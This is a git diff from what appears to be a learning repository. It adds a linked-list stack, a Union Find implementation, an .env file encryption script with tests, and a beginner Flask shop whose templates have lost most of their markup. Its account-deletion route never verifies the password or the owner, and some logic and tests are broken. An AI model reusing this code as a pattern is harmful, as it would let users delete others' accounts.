if(self.start == None): + self.start = newNode + else: + + # If the stack already has elements, add the new node to the top of the stack + newNode.next = self.start + self.start = newNode + + # Method to remove the top element from the stack + def pop(self): + if self.start is not None: + self.start = self.start.next + + # Method to get the top element of the stack + def top(self): + return self.start + + # Method to check if the stack is empty + def isEmpty(self): + return self.start == None + + # Method to check if the stack is full + def isFull(self): + newNode = Node(None) + return newNode == None + + +S = StackLinked() + +S.push(45) +S.push(90) +S.push(12) +S.pop() +print(S.isEmpty()) +print(S.isFull()) +top_element = S.top() +print(top_element.data) + + diff --git a/Data Structures and Algorithms/union_find/README.md b/Data Structures and Algorithms/union_find/README.md new file mode 100644 index 00000000..6f39cf37 --- /dev/null +++ b/Data Structures and Algorithms/union_find/README.md @@ -0,0 +1,84 @@ +# Union Find (Disjoint Set Union) - Implementation and Use + +## Table of Contents +- [Why Union Find?](#why-union-find) +- [Functions and Examples](#functions-and-examples) +- [Setup](#setup) +- [Additional Resources](#additional-resources) +- [Leetcode Questions](#leetcode-questions) + +## Why Union Find? +Union Find is a popular data structure that allows us to solve many different types of graph +problems. It works best with undirected graphs, and it allows us to figure out whether a node +is connected to another node. + +Some problems it can be used to solve: +- Find the minimum spanning tree in a graph (Kruskal's) +- Check if there is a path between two nodes +- Finding redundant edges +- Representing networks + + +## Functions and Examples +Union Find seems complex at first, but it is actually a lot easier when you understand that there are +only two functions. +- Find(n) : returns the parent of a node n +- Union(n1, n2) : connects n1 and n2 if they are not previously connected + +Let's look at an example! +```python +u = UnionFind(7) # create a UnionFind object with 7 nodes (numbered 0 to 6) + +u.union(0, 1) # connects 0 and 1 together +u.union(5, 6) # connects 5 and 6 together + +u.find(1) # returns 0, since 0 is parent of 1 +u.find(5) # returns 5, since 5 is its own parent + +u.union(1, 2) # connects 2 to the component 0-1 +u.find(2) # 2s parent is now 0 + +# Now our structure looks like this + +# 0-1-2 3 4 5-6 + +u.union(1, 6) # first we find the parents of 1 and 6 + # parents are 0, and 5 + # connect the smaller component to the bigger + # now 5's parent is 0 + +u.find(6) # now this goes: + # 6 parent is 5 -> 5 parent is 0 -> 0 is its own parent +``` + +And that's it! You can use the sample code to test different examples with Union Find. +In the code, par keeps track of the parent of each node and rank keeps track of the size of +each component. + +## Setup + +First clone the repo + > `cd union_find` to get into this folder. + > call the verify function anywhere, consider adding ``` if __name__ == '__main__'``` + > `python union_find.py` to run the demo + + You can modify the structure in the verify function and play around with it. + + ## Additional Resources + + Here are some resources I found useful when learning: + - Neetcode Graph Videos on YouTube + - William Fiset - Union Find Video on YouTube + - Union Find Medium Article by Claire Lee + - Union Find Visualizer - Visualgo + + ## Leetcode Questions + - 200 - Number of Islands + - 684 - Redundant Connection + - 695 - Max Area of an Island + - 827 - Making a Large Island + - 2316 - Count Unreachable Pairs of Nodes in an Undirected Graph + - 2421 - Maximum Score of a Good Path + - 2709 - Greatest Common Divisor Traversal + + I hope this was helpful. If there are any mistakes or issues or if you want to contribute to union find, feel free to contact me at rawateshaan0 [at] gmail [dot] com \ No newline at end of file diff --git a/Data Structures and Algorithms/union_find/union_find.py b/Data Structures and Algorithms/union_find/union_find.py new file mode 100644 index 00000000..b01f53ca --- /dev/null +++ b/Data Structures and Algorithms/union_find/union_find.py @@ -0,0 +1,88 @@ +# Basic implementation of the Union Find data structure +# Assume we have n nodes labeled from 0 to n - 1 + +class UnionFind: + def __init__(self, n): + # every node is originally its own parent + self.par = [i for i in range(n)] + # self.par = list(range(n)) -- also valid + + # every node originally is in its own + # component of size 1 - this changes during + # the union operation + self.rank = [1] * n + + def find(self, n) -> int: + ''' + Finds the parent node of n + ''' + + # can be optimized with path compression + while n != self.par[n]: + n = self.par[n] + return n + + + def union(self, n1, n2) -> bool: + ''' + Connects two nodes together if not + already connected + ''' + + # find the parent of node 1 and 2 + p1 = self.find(n1) + p2 = self.find(n2) + + # nodes are already connected + # cannot union together + if p1 == p2: + return False + + # for efficiency, make bigger component + # parent of smaller component - reduces + # number of steps we have to take in find() + + if self.rank[p1] >= self.rank[p2]: + # p2 is smaller, so when union it has a + # new parent, p1 + self.par[p2] = p1 + + # p1 gets all the nodes of p2, increasing + # its rank, or size + self.rank[p1] += self.rank[p2] + else: + self.par[p1] = p2 + self.rank[p2] += self.rank[p1] + + return True + + def nodes_connected(self, n1, n2) -> bool: + ''' + Returns if two nodes are connected + ''' + + # connected if parent is the same + return self.find(n1) == self.find(n2) + + + +def verify(): + n = 7 + u = UnionFind(n) + + # False, nodes not connected + print(u.nodes_connected(0, 1)) + + # True, just connected 0 and 1 + u.union(0, 1) + print(u.nodes_connected(0, 1)) + + # Rank is 2, includes 0 and 1 + print(u.rank[0]) + + u.union(4, 5) + u.union(1, 4) + + # True, 0 - 1 and 4 - 5 are connected + # 1 to 4 connects both components + print(u.nodes_connected(0, 5)) \ No newline at end of file diff --git a/ENCRYPT-ENV-SCRIPT/README.md b/ENCRYPT-ENV-SCRIPT/README.md new file mode 100644 index 00000000..a89be0cd --- /dev/null +++ b/ENCRYPT-ENV-SCRIPT/README.md @@ -0,0 +1,60 @@ +# ENCRYPTING ENVIRONMENT VARIABLE FILE SCRIPT + +## A commandline software script to encrypt or decrypt an env file, specifically to share secret encrypted environment variables using a password via git +The encryption uses the cryptography library using symmetric encryption, which means the same key used to encrypt data, is also usable for decryption. + + +**To run the software:** +``` +pip3 install -r requirements.txt +python3 envvars_script.py --help +``` + +**Output:** +``` +usage: ennvars_script.py [-h] (-e | -d) file + +File Encryption Script with a Password. + +positional arguments: + file File to encrypt/decrypt. + +optional arguments: + -h, --help show this help message and exit + -e, --encrypt To encrypt the file, only -e or --encrypt can be specified. + -d, --decrypt To decrypt the file, only -d or --decrypt can be specified. +``` + +### Encrypt a file +* Encrypting a file for example ".env". Create the file in the project root directory and save it with the env content. Run the following example command: + ``` + python3 envvars_script.py <.env> --encrypt + OR + python3 envvars_script.py <.env> -e + ``` + * replace <.env> with the right filename. +* Enter password to encrypt file. Note: password must be atleast 8 characters + +* Check file content has been encrypted with the following files created: +``` + .env.envs + .env.salt + +``` + +### Decrypt file +* To decrypt file, (use same password used in encryting the file otherwise decrypting won't work). Run the following example command: + ``` + python3 envvars_script.py <.env.envs> --decrypt + OR + python3 envvars_script.py <.env.envs> -d + ``` + * replace <.env.envs> with the right filename. +* Enter password to decrypt file. This must be the same password used in encrypting the file. + +* Check file has been decrypted and updated with the original content(before encryption) if .env existed otherwise new .env file created with content. + +**To run unit test:** +``` + python3 test_script.py +``` diff --git a/ENCRYPT-ENV-SCRIPT/__init__.py b/ENCRYPT-ENV-SCRIPT/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/ENCRYPT-ENV-SCRIPT/envars_helper.py b/ENCRYPT-ENV-SCRIPT/envars_helper.py new file mode 100644 index 00000000..f978750e --- /dev/null +++ b/ENCRYPT-ENV-SCRIPT/envars_helper.py @@ -0,0 +1,208 @@ +import os +import base64 +import secrets + +from cryptography.fernet import Fernet +from cryptography.hazmat.primitives.kdf.scrypt import Scrypt +import cryptography + + +class EncryptionHelper: + """ + A class to represent Encryption. + + Methods + ------- + load_salt(self, filename): + A method to read and return a generated salt saved in file. + derive_key(self, salt, password): + A method to derive key. + generate_key(self, password, filename, load_existing_salt=False, save_salt=False): + A method to generate key. + encrypt(self, filename, key): + A method to encrypt file. + decrypt(self, filename, key): + A method to decrypt file. + """ + + @staticmethod + def generate_salt(size: int): + """ + A method to generate a salt. + + Parameters + ---------- + size : int + The size of the bytes strings to be generated. + + Returns + ------- + bytes + The method returns bytes strings containing the secret token. + """ + + return secrets.token_bytes(size) + + @staticmethod + def load_salt(filename: str): + """ + A method to read and return a save salt file. + + Parameters + ---------- + filename : str + The file name to read from. + + Returns + ------- + bytes + The method returns bytes containing the salt. + """ + + # load salt from salt file + return open(filename.replace(".envs", ".salt"), "rb").read() + + @staticmethod + def derive_key(salt: bytes, password: str): + """ + A method to derive a key using password and salt token. + + Parameters + ---------- + salt : bytes + The bytes strings containing the salt token. + password : str + The strings of characters containing the password. + + Returns + ------- + bytes + The method returns bytes string containing the derived key. + """ + + # derive key using salt and password + key = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1) + return key.derive(password.encode()) + + @staticmethod + def generate_key(password: str, filename: str, load_existing_salt=False, save_salt=False): + """ + A method to generate key. + + Parameters + ---------- + password : str + The strings of characters containing the password. + filename : str + The strings of characters containing file name. + load_existing_salt : bool, optional + A boolean value determining existing salt exists. + save_salt : bool, optional + A boolean value determining save salt exists. + + Returns + ------- + bytes + The method returns bytes string containing the generated key. + """ + + # check existing salt file + if load_existing_salt: + try: + with open(filename.replace(".envs", ".salt"), "rb") as salt_file: + salt_file.readline() + except FileNotFoundError: + return base64.urlsafe_b64encode(os.urandom(32)) + # load existing salt + salt = EncryptionHelper.load_salt(filename) + if save_salt: + # generate new salt/token and save it to file + salt = EncryptionHelper.generate_salt(16) + with open(f"{filename}.salt", "wb") as salt_file: + salt_file.write(salt) + + # generate the key from the salt and the password + derived_key = EncryptionHelper.derive_key(salt, password) + # encode it using Base 64 and return it + return base64.urlsafe_b64encode(derived_key) + + @staticmethod + def encrypt(filename: str, key: bytes): + """ + A method to encrypt file. + + Parameters + ---------- + filename : str + The strings of characters containing file name. + key : bytes + A bytes of stings containing the encryption key. + + Returns + ------- + None + The method returns a none value. + """ + + fernet = Fernet(key) + + try: + with open(filename, "rb") as file: + file_data = file.read() + except FileNotFoundError: + print("File not found") + return + + # encrypting file_data + encrypted_data = fernet.encrypt(file_data) + + # writing to a new file with the encrypted data + with open(f"{filename}.envs", "wb") as file: + file.write(encrypted_data) + + print("File encrypted successfully...") + return "File encrypted successfully..." + + @staticmethod + def decrypt(filename: str, key: bytes): + """ + A method to decrypt file. + + Parameters + ---------- + filename : str + The strings of characters containing file name. + key : bytes + A bytes of stings containing the encryption key. + + Returns + ------- + None + The method returns a none value. + """ + + fernet = Fernet(key) + try: + with open(filename, "rb") as file: + encrypted_data = file.read() + except FileNotFoundError: + print("File not found.") + return + # decrypt data using the Fernet object + try: + decrypted_data = fernet.decrypt(encrypted_data) + except cryptography.fernet.InvalidToken: + print("Invalid token, likely the password is incorrect.") + return + # write the original file with decrypted content + with open(filename.replace(".envs", ""), "wb") as file: + file.write(decrypted_data) + # delete salt file after decrypting file + f = open(filename.replace(".envs", ".salt"), 'w') + f.close() + os.remove(f.name) + # delete decrypted file + os.remove(filename) + print("File decrypted successfully...") + + return "File decrypted successfully..." diff --git a/ENCRYPT-ENV-SCRIPT/envars_script.py b/ENCRYPT-ENV-SCRIPT/envars_script.py new file mode 100644 index 00000000..a30f8e54 --- /dev/null +++ b/ENCRYPT-ENV-SCRIPT/envars_script.py @@ -0,0 +1,54 @@ +import sys +import getpass + +from envars_helper import EncryptionHelper + +if __name__ == "__main__": + import argparse + + encryption_helper = EncryptionHelper() + + parser = argparse.ArgumentParser(description="File Encryption Script with a Password.", + allow_abbrev=False) + parser.add_argument("file", help="File to encrypt/decrypt.") + group_args = parser.add_mutually_exclusive_group(required=True) + group_args.add_argument("-e", "--encrypt", action="store_true", + help="To encrypt the file, only -e or --encrypt can be specified.") + group_args.add_argument("-d", "--decrypt", action="store_true", + help="To decrypt the file, only -d or --decrypt can be specified.") + + args = parser.parse_args() + filename = args.file + encrypt_arg = args.encrypt + decrypt_arg = args.decrypt + + try: + with open(filename, "r") as f: + file_data = f.readline() + except FileNotFoundError: + print("File not found.") + sys.exit(1) + + password = None + if encrypt_arg: + ext = filename.split(".").pop() + if ext == "envs": + print("File already encrypted.") + sys.exit(1) + password = getpass.getpass("Enter the password for encryption: ") + while len(password) < 8: + print("Password must be 8 characters or above. \n") + password = getpass.getpass("Enter the password for encryption: ") + elif decrypt_arg: + ext = filename.split(".").pop() + if ext != "envs": + print("File was not encrypted. Encrypted file has a .envs extension") + sys.exit(1) + password = getpass.getpass("Enter the password used for encryption: ") + + if encrypt_arg: + key = encryption_helper.generate_key(password, filename, save_salt=True) + encryption_helper.encrypt(filename, key) + else: + key = encryption_helper.generate_key(password, filename, load_existing_salt=True) + encryption_helper.decrypt(filename, key) diff --git a/ENCRYPT-ENV-SCRIPT/requirements.txt b/ENCRYPT-ENV-SCRIPT/requirements.txt new file mode 100644 index 00000000..84927ab5 --- /dev/null +++ b/ENCRYPT-ENV-SCRIPT/requirements.txt @@ -0,0 +1,3 @@ +cffi==1.15.1 +cryptography==37.0.4 +pycparser==2.21 diff --git a/ENCRYPT-ENV-SCRIPT/test_script.py b/ENCRYPT-ENV-SCRIPT/test_script.py new file mode 100644 index 00000000..1359a9ca --- /dev/null +++ b/ENCRYPT-ENV-SCRIPT/test_script.py @@ -0,0 +1,81 @@ +from fileinput import filename +import os +import unittest + +from envars_helper import EncryptionHelper + + +class TestEnvvarsEncryption(unittest.TestCase): + + def setUp(self): + self.password = "mypassword.com" + self.filename = ".env" + self.filename_to_be_decrypted = ".env.envs" + self.envvars_encryption = EncryptionHelper() + + def tearDown(self): + #delete test salt file from file + file_data = open(f"{self.filename}.salt", 'w') + file_data.close() + os.remove(file_data.name) + + #delete test encrypted file from file + file_data = open(f"{self.filename}.envs", 'w') + file_data.close() + os.remove(file_data.name) + + + + def test_is_instance(self): + """Test class instance. """ + + self.assertTrue(isinstance(self.envvars_encryption, EncryptionHelper)) + + def test_generate_key_method(self): + """Test generate key is instance method. """ + self.assertTrue(self.envvars_encryption.generate_key) + + def test_encrypt_method(self): + """Test encrypt is instance method. """ + + self.assertTrue(self.envvars_encryption.encrypt) + + def test_decrypt_method(self): + """Test decrypt is instance method. """ + + self.assertTrue(self.envvars_encryption.decrypt) + + def test_generate_key(self): + """Test generate key method. """ + + gen_key = self.envvars_encryption.generate_key(self.password, self.filename, save_salt=True) + + self.assertEqual(type(gen_key), bytes) + + + def test_encrypt(self): + """Test encrypt method. """ + + key = self.envvars_encryption.generate_key(self.password, self.filename, save_salt=True) + encrypted = self.envvars_encryption.encrypt(self.filename, key) + self.assertEqual(encrypted, "File encrypted successfully...") + + def test_decrypt_file_doesnot_exist(self): + """Test decryp file does not exist """ + + key = self.envvars_encryption.generate_key(self.password, self.filename, save_salt=True) + self.envvars_encryption.encrypt(self.filename, key) + self.envvars_encryption.decrypt("wrong.notenvs", key) + self.assertRaises(SystemExit) + + def test_decrypt(self): + """Test decrypt method. """ + + key = self.envvars_encryption.generate_key(self.password, self.filename, save_salt=True) + self.envvars_encryption.encrypt(self.filename, key) + decrypted = self.envvars_encryption.decrypt(self.filename_to_be_decrypted, key) + self.assertEqual(decrypted, "File decrypted successfully...") + + +if __name__ == '__main__': + unittest.main() diff --git a/FLASK PROJECTS/E-commerce/app.py b/FLASK PROJECTS/E-commerce/app.py new file mode 100644 index 00000000..f4b3a878 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/app.py @@ -0,0 +1,379 @@ +import os + +from flask import Flask, flash, redirect, render_template, request, session, url_for +from flask_session import Session +from tempfile import mkdtemp +from werkzeug.security import check_password_hash, generate_password_hash +from flask_login import current_user +from cs50 import SQL +import sqlite3 +import re + +from helpers import apology, login_required, usd + + +# Configure application +app = Flask(__name__) + +# Custom filter +app.jinja_env.filters["usd"] = usd + +# Configure session to use filesystem (instead of signed cookies) +app.config["SESSION_FILE_DIR"] = mkdtemp() +app.config["SESSION_PERMANENT"] = False +app.config["SESSION_TYPE"] = "filesystem" +Session(app) + +# Configure CS50 Library to use SQLite database +db = SQL("sqlite:///shop.db") + + +@app.after_request +def after_request(response): + """Ensure responses aren't cached""" + response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate" + response.headers["Expires"] = 0 + response.headers["Pragma"] = "no-cache" + return response + + +""" user authentication routes """ + + +# Forms +@app.route("/login", methods=["GET", "POST"]) +def login(): + """Log user in""" + + # Forget any user_id + session.clear() + + # User reached route via POST (as by submitting a form via POST) + if request.method == "POST": + # Ensure username was submitted + if not request.form.get("username"): + return apology("Please provide a username.", 403) + + # Ensure password was submitted + elif not request.form.get("password"): + return apology("Please provide a password.", 403) + + # Query database for username + rows = db.execute( + "SELECT * FROM users WHERE username = ?", request.form.get("username") + ) + + # Ensure username exists and password is correct + if len(rows) != 1 or not check_password_hash( + rows[0]["hash"], request.form.get("password") + ): + return apology("invalid username and/or password", 403) + + # Remember which user has logged in + session["user_id"] = rows[0]["id"] + + # Redirect user to home page + return redirect("/") + else: + return render_template("login.html") + + +# register +@app.route("/register", methods=["GET", "POST"]) +def register(): + """Register user""" + # Forget any user_id. + session.clear() + + if request.method == "POST": + # Get user name and password. + username = request.form.get("username") + password = request.form.get("password") + confirmation = request.form.get("confirmation") + + # Validate user input. + if not username: + return apology("must provide username", 400) + + elif not password: + return apology("must provide password", 400) + + elif not confirmation: + return apology("must confirm password", 400) + + elif password != confirmation: + return apology("must confirm password", 400) + + # Query the database to check if the username is already taken. + existing_user = db.execute("SELECT * FROM users WHERE username = ?", username) + if len(existing_user) != 0: + return apology("userename taken", 400) + + # Generate a hash of the password. + hashed_password = generate_password_hash(password) + + # Insert the new user into the database. + db.execute( + "INSERT INTO users (username, hash) VALUES (?, ?)", + username, + hashed_password, + ) + + # Query the database for newly inserted user. + new_user = db.execute("SELECT * FROM users WHERE username = ?", username) + + # Remember user. + session["user_id"] = new_user[0]["id"] + + # Display success message. + flash("Registration successful.", "success") + return redirect("/") + else: + return render_template("register.html") + + +# logout +@app.route("/logout", methods=["GET", "POST"]) +@login_required +def logout(): + """Log user out""" + + # Forget any user_id + session.clear() + # Redirect user to login form + return redirect("/") + + +# delete +@app.route("/remove", methods=["GET", "POST"]) +@login_required +def remove(): + """Delete user account""" + if request.method == "POST": + # Get user name and password. + username = request.form.get("username") + password = request.form.get("password") + confirmation = request.form.get("confirmation") + + # Validate user input. + if not username: + return apology("must provide username", 400) + elif not password: + return apology("must provide password", 400) + elif not confirmation: + return apology("must confirm password", 400) + elif password != confirmation: + return apology("passwords must match", 400) + + # Query the database to check if the username is already taken. + existing_user = db.execute("SELECT * FROM users WHERE username = ?", username) + if not existing_user: + return apology("Wrong username", 403) + else: + # Get user id. + user_id_data = db.execute( + "SELECT id FROM users WHERE username = ?", (username,) + ) + user_id = user_id_data[0]["id"] + # Delete user's account and related data from the database. + db.execute("DELETE FROM cart WHERE user_id = ?", (user_id,)) + db.execute("DELETE FROM users WHERE username = ?", (username,)) + # Display success message. + flash("Account deleted successfully.", "success") + session.clear() + return redirect("/") + else: + return render_template("remove.html") + + +@app.route("/checkout", methods=["GET", "POST"]) +@login_required +def checkout(): + """Check out""" + + if request.method == "POST": + # Get the form data + city = request.form.get("city") + address = request.form.get("address") + postal_code = request.form.get("postal_code") + phone_number = request.form.get("phone_number") + + # Validate the form data + if not city or not address or not postal_code or not phone_number: + return apology("Please provide all required information.", 400) + elif not postal_code.isdigit() or int(postal_code) <= 0: + return apology( + "Invalid postal code. Please provide a valid postal code.", 400 + ) + elif not phone_number.isdigit() or int(phone_number) <= 0: + return apology( + "Invalid phone number. Please provide a valid phone number.", 400 + ) + + try: + # Get the user's ID from the session + user_id = session["user_id"] + + # Fetch the product id from the cart table based on the user_id + rows = db.execute( + "SELECT product_id FROM cart WHERE user_id = ?", (user_id,) + ) + for row in rows: + # Extract the product id from the row + product_id = row["product_id"] + # Insert the order into the database + db.execute( + "INSERT INTO orders (user_id, city, address, postal_code, phone_number, product_id) VALUES (:user_id, :city, :address, :postal_code, :phone_number, :product_id)", + user_id=user_id, + city=city, + address=address, + postal_code=postal_code, + phone_number=phone_number, + product_id=product_id, + ) + + # Display success message. + flash("Address saved successfully.", "success") + return redirect("/cart") + + except Exception as e: + # Log errors + print("Error:", str(e)) + return apology("An error occurred while saving the address.", 500) + + else: + # Render the check out template + return render_template("checkout.html") + + +# Displaying routes +@app.route("/profile", methods=["GET", "POST"]) +@login_required +def profile(): + """Display profile""" + + # Get the user's ID from the session + user_id = session["user_id"] + # Query the database for the user's data + user_data = db.execute("SELECT * FROM users WHERE id = ?", user_id) + # Query the database for the user's orders + orders = db.execute( + "SELECT address, city, postal_code, phone_number, history, id FROM orders WHERE user_id = ?", + user_id, + ) + # Query the database for the products in the user's cart + items = db.execute( + "SELECT products.price, cart.quantity FROM cart JOIN products ON cart.product_id = products.id WHERE cart.user_id = ?", + user_id, + ) + + # Calculate the total amount for the items in the cart + total_amount = 0 + for item in items: + total_amount += item["price"] * item["quantity"] + + # Render the profile template with the user's data, orders, and total amount + return render_template( + "profile.html", user_data=user_data[0], orders=orders, total_amount=total_amount + ) + + +@app.route("/", methods=["GET", "POST"]) +def index(): + """Display shop catalog""" + + # Query the database for all products and supplies + products = db.execute("SELECT * FROM products") + + # Renders them using the 'index.html' template. + return render_template("index.html", products=products) + + + +# cart and product details +@app.route("/productdetails/", methods=["GET", "POST"]) +def productdetails(id): + """Display products details""" + + # Query the database for the product details according to its id. + details = db.execute("SELECT * FROM products WHERE id=?", (id,)) + # Print the product details to the console (for debugging purposes). + print("Product:", details) + # Renders them using the 'productdetails.html' template. + return render_template("productdetails.html", details=details) + + +@app.route("/addtocart/", methods=["GET", "POST"]) +@login_required +def addtocart(id): + """Adds products to the cart""" + try: + # Check if the request method is POST + if request.method == "POST": + # Get the quantity from the form. + quantity = request.form.get("quantity") + # Validate the quantity + if not quantity: + return apology("Must provide quantity", 400) + elif not quantity.isdigit(): + return apology("invalid number", 400) + # Convert quantity into an int + quantity = int(quantity) + + # Check if the quantity is less than 0 + if quantity <= 0: + return apology("invalid number", 400) + # Get the user's ID from the session + user_id = session["user_id"] + # Convert the poduct id into an int + product_id = int(id) + + # Check if product exists + product = db.execute("SELECT * FROM products WHERE id=?", (id,)) + if not product: + return apology("product does not exist", 404) + + # Insert the product into the cart in the database + db.execute( + "INSERT INTO cart (user_id, product_id, quantity) VALUES (:user_id, :product_id, :quantity)", + user_id=user_id, + product_id=product_id, + quantity=quantity, + ) + # Display success message. + flash("Added to cart!", "success") + # Log errors + except Exception as e: + app.logger.error(f"Error in addtocart: {e}") + return apology("an error occurred", 500) + else: + # Render the product details page + return render_template("productdetails.html") + + +@app.route("/cart", methods=["GET", "POST"]) +@login_required +def cart(): + """Display cart""" + + # Get the user's ID from the session + user_id = session["user_id"] + # Query the data base to get the data of the products in the user's cart + query = """ SELECT p.id, p.name, p.price, p.availability, p.cover, c.quantity + FROM products p + INNER JOIN cart c ON p.id = c.product_id + WHERE c.user_id = ? + """ + # Execute the SQL query + rows = db.execute(query, (user_id,)) + # Renders them using the 'cart.html' template. + return render_template("cart.html", rows=rows) + + +# payment methods +@app.route("/productdetails/", methods=["GET", "POST"]) +def methods(id): + """ methods for payment""" + + + diff --git a/FLASK PROJECTS/E-commerce/flask.png b/FLASK PROJECTS/E-commerce/flask.png new file mode 100644 index 00000000..d4bbc6e2 Binary files /dev/null and b/FLASK PROJECTS/E-commerce/flask.png differ diff --git a/FLASK PROJECTS/E-commerce/helpers.py b/FLASK PROJECTS/E-commerce/helpers.py new file mode 100644 index 00000000..2970d152 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/helpers.py @@ -0,0 +1,43 @@ +import csv +import datetime +import pytz +import requests +import subprocess +import urllib +import uuid + +from flask import redirect, render_template, session +from functools import wraps + + +def apology(message, code=400): + """Render message as an apology to user.""" + def escape(s): + """ + Escape special characters. + + https://github.com/jacebrowning/memegen#special-characters + """ + for old, new in [("-", "--"), (" ", "-"), ("_", "__"), ("?", "~q"), + ("%", "~p"), ("#", "~h"), ("/", "~s"), ("\"", "''")]: + s = s.replace(old, new) + return s + return render_template("apology.html", top=code, bottom=escape(message)), code + + +def login_required(f): + """ + Decorate routes to require login. + + http://flask.pocoo.org/docs/0.12/patterns/viewdecorators/ + """ + @wraps(f) + def decorated_function(*args, **kwargs): + if session.get("user_id") is None: + return redirect("/login") + return f(*args, **kwargs) + return decorated_function + +def usd(value): + """Format value as USD.""" + return f"${value:,.2f}" diff --git a/FLASK PROJECTS/E-commerce/readme.md b/FLASK PROJECTS/E-commerce/readme.md new file mode 100644 index 00000000..9bb9ecf8 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/readme.md @@ -0,0 +1,27 @@ +# Shop +

+ alt text +

+ +--- +## Description +Hi, this my attempt to build a script for an e-commerce web app using Flask. +### Templates: + +* The index template serves as the catalog for the shop's products. +* Cart template deal with user's transactions +* Payment template +* The products template displays all products . + +### other files: + +* Database. +* helpers-- functions that help. +* App-- main script + + + +![github](https://img.shields.io/badge/github-000000?style=for-the-badge&logo=github&logoColor=white)](https://github.com/tarenjk24) + + +--- \ No newline at end of file diff --git a/FLASK PROJECTS/E-commerce/requirements.txt b/FLASK PROJECTS/E-commerce/requirements.txt new file mode 100644 index 00000000..1e9cc3dc --- /dev/null +++ b/FLASK PROJECTS/E-commerce/requirements.txt @@ -0,0 +1,4 @@ + +Flask +Flask-Session +requests \ No newline at end of file diff --git a/FLASK PROJECTS/E-commerce/shop.db b/FLASK PROJECTS/E-commerce/shop.db new file mode 100644 index 00000000..1b1279b4 Binary files /dev/null and b/FLASK PROJECTS/E-commerce/shop.db differ diff --git a/FLASK PROJECTS/E-commerce/templates/apology.html b/FLASK PROJECTS/E-commerce/templates/apology.html new file mode 100644 index 00000000..a414a390 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/apology.html @@ -0,0 +1,10 @@ +{% extends "layout.html" %} + +{% block title %} + Apology +{% endblock %} + +{% block main %} + + {{ top }} +{% endblock %} diff --git a/FLASK PROJECTS/E-commerce/templates/cart.html b/FLASK PROJECTS/E-commerce/templates/cart.html new file mode 100644 index 00000000..4df31577 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/cart.html @@ -0,0 +1,49 @@ +{% extends "layout.html" %} + +{% block title %} + Cart +{% endblock %} +{% block main %} + + + + + +
+
+
+
+ +

Your Cart

+ + + + + + + + + + + + {% for row in rows %} + + + + + + + + + {% endfor %} + +
CoverProduct NameQuantityPrice
+ {{ row.title }} + {{ row.name }}{{ row.quantity }}{{ row.price }} Pay with Stripe
+ + Check Out + Back to Catalog +
+
+
+{% endblock %} diff --git a/FLASK PROJECTS/E-commerce/templates/checkout.html b/FLASK PROJECTS/E-commerce/templates/checkout.html new file mode 100644 index 00000000..b7f3d350 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/checkout.html @@ -0,0 +1,57 @@ +{% extends "layout.html" %} + +{% block title %} + Check Out +{% endblock %} + +{% block main %} + + + + +
+
+ +
+ + +
Check Out
+ + + + + + + + + + + + + + + + + + + + + + + + + + +    + + + +
+
+
+
+{% endblock %} diff --git a/FLASK PROJECTS/E-commerce/templates/index.html b/FLASK PROJECTS/E-commerce/templates/index.html new file mode 100644 index 00000000..3a517b55 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/index.html @@ -0,0 +1,51 @@ +{% extends "layout.html" %} + +{% block title %} + Index +{% endblock %} + +{% block main %} + + + + +
+ +
Featured Products
+ + + + +
+
+
    + + + + + + + + {% for product in products %} +
  • +
    + + {{ product.name }} +
    + {{ product.category }} +
    {{ product.name }}
    +

    {{ product.price }}

    + details +
    +
    +
  • + {% endfor %} +
+
+
+
+{% endblock %} diff --git a/FLASK PROJECTS/E-commerce/templates/layout.html b/FLASK PROJECTS/E-commerce/templates/layout.html new file mode 100644 index 00000000..51aac114 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/layout.html @@ -0,0 +1,96 @@ + + + + + + + + + + + + + shop {% block title %}{% endblock %} + + + + + {% if get_flashed_messages() %} + + + {% endif %} + + +
+ + +
+ + +
+ {% if request.path == '/' %} + +
+ + + + + {% endif %} + + +
{% block main %}{% endblock %}
+ + +
+ + + +
+ + diff --git a/FLASK PROJECTS/E-commerce/templates/login.html b/FLASK PROJECTS/E-commerce/templates/login.html new file mode 100644 index 00000000..0828b901 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/login.html @@ -0,0 +1,44 @@ +{% extends "layout.html" %} + +{% block title %} + Log In +{% endblock %} + +{% block main %} + + + + +
+
+
+ +
Sign in
+ + + + + + + + + + + + + + + + + + +
+
+
+
+{% endblock %} + diff --git a/FLASK PROJECTS/E-commerce/templates/payment.html b/FLASK PROJECTS/E-commerce/templates/payment.html new file mode 100644 index 00000000..66172d1f --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/payment.html @@ -0,0 +1,38 @@ +{% extends "layout.html" %} + +{% block title %} + Payment +{% endblock %} + +{% block main %} + + + + +
+
+ +
+
+ + + + +
Select a Payment Method:
+ + + + + + + + +
+ +
+
+{% endblock %} diff --git a/FLASK PROJECTS/E-commerce/templates/productdetails.html b/FLASK PROJECTS/E-commerce/templates/productdetails.html new file mode 100644 index 00000000..0e9863e8 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/productdetails.html @@ -0,0 +1,74 @@ +{% extends "layout.html" %} + +{% block title %} + productdetails +{% endblock %} + +{% block main %} + + + + + +
+
+
+ {% for detail in details %} + + +

{{ detail.name }}

+ + + + + + +
+ +
+ {{ detail.title }} +
+ +
+

Details:

+
{{ detail.description }}
+

Price:

{{ detail.price|usd }}
+ {% if session["user_id"] %} + +
+

Quantity:

+
+
+ + + + + + + + + Check Out + {% else %} +

Click here to log in and add the product to your cart. + *

+ {% endif %} + {% endfor %} + +
+ +
+ +
+
+ +
+ + +
+
+
+{% endblock %} diff --git a/FLASK PROJECTS/E-commerce/templates/profile.html b/FLASK PROJECTS/E-commerce/templates/profile.html new file mode 100644 index 00000000..c8ac8428 --- /dev/null +++ b/FLASK PROJECTS/E-commerce/templates/profile.html @@ -0,0 +1,89 @@ +{% extends "layout.html" %} + +{% block title %} + Profile +{% endblock %} + +{% block main %} + + + + +
+
+
+
+

Personal Information

+ +

Username: {{ user_data["username"] }}

